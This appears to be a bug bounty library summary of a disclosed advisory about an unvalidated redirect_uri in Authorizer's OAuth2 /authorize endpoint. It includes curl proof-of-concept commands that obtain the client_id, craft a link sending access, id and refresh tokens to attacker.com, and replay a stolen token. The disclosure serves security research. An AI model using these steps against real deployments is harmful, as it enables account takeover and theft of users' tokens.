# Authorizer: Unvalidated redirect_uri in /authorize leaks OAuth2 tokens to attacker-controlled URL

Authorizer's /authorize endpoint skipped redirect_uri validation, so response_type=token 302-redirected access, id and refresh tokens to an attacker URL.

- Payout: Research
- Severity: critical
- Program: Authorizer
- Found by: morimori-dev
- Disclosed: 2026-07-10
- CVE: CVE-2026-54072
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-h29v-hj44-q8cv
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-h29v-hj44-q8cv
- Tags: area:web domain:web impact:ato impact:data-leak kind:research platform:ghsa sev:critical tech:go tech:oauth technique:incomplete-fix technique:source-review vuln:auth-bypass vuln:open-redirect

**Target:** /authorize OAuth2 endpoint (Go server)
**Root cause:** authorize.go reads redirect_uri and appends token params without calling validators.IsValidOrigin against AllowedOrigins; the v2.0.1 partial fix covered other handlers but omitted /authorize.
**Steps:**
1. Fetch client_id unauthenticated: `curl -s http://TARGET/graphql -H "Content-Type: application/json" -d '{"query":"{meta{client_id}}"}'`
2. Build `http://TARGET/authorize?response_type=token&client_id=${CLIENT_ID}&redirect_uri=https://attacker.com/steal&scope=openid+profile+email&state=x&response_mode=query`
3. Send to a logged-in victim; server 302s to `https://attacker.com/steal?access_token=...&token_type=bearer&expires_in=...&id_token=...`
4. Replay stolen token: `curl -s http://TARGET/userinfo -H "Authorization: Bearer STOLEN_ACCESS_TOKEN"` returns victim email/id/roles
**How found:** Reporter compared the v2.0.1 fix that added IsValidOrigin to oauth_login, verify_email, magic_link_login, forgot_password, invite_members and oauth_callback, and noticed /authorize was left out of the patch.
**Exploitation:** Attacker needs only the public client_id and a logged-in victim who clicks the crafted /authorize link; the implicit-flow response appends access_token, id_token and refresh_token to the attacker's redirect_uri, giving full impersonation for the token lifetime.
**Insight:** When a vendor ships a partial fix for an open-redirect class, enumerate every handler that consumes redirect_uri and diff them against the patched ones; the omitted sibling endpoint is the bug.

## Proof of concept (copied exactly from the original report)

**curl PoC obtaining client_id and crafting malicious authorize URL**

```
CLIENT_ID=$(curl -s http://TARGET/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{meta{client_id}}"}' | python3 -c "import sys,json; print(json.load(sys.stdin)['data']['meta']['client_id'])")

echo "client_id: $CLIENT_ID"

# 2. Craft the malicious URL and send to victim (victim must be logged in)
# When victim opens this URL, tokens are delivered to attacker.com
MALICIOUS_URL="http://TARGET/authorize?response_type=token&client_id=${CLIENT_ID}&redirect_uri=https://attacker.com/steal&scope=openid+profile+email&state=x&response_mode=query"

echo "Send to victim: $MALICIOUS_URL"
```

**Stolen token validation via userinfo endpoint**

```
curl -s http://TARGET/userinfo \
  -H "Authorization: Bearer STOLEN_ACCESS_TOKEN"
# Returns: {"email":"victim@example.com","id":"...","roles":["user"]}
```

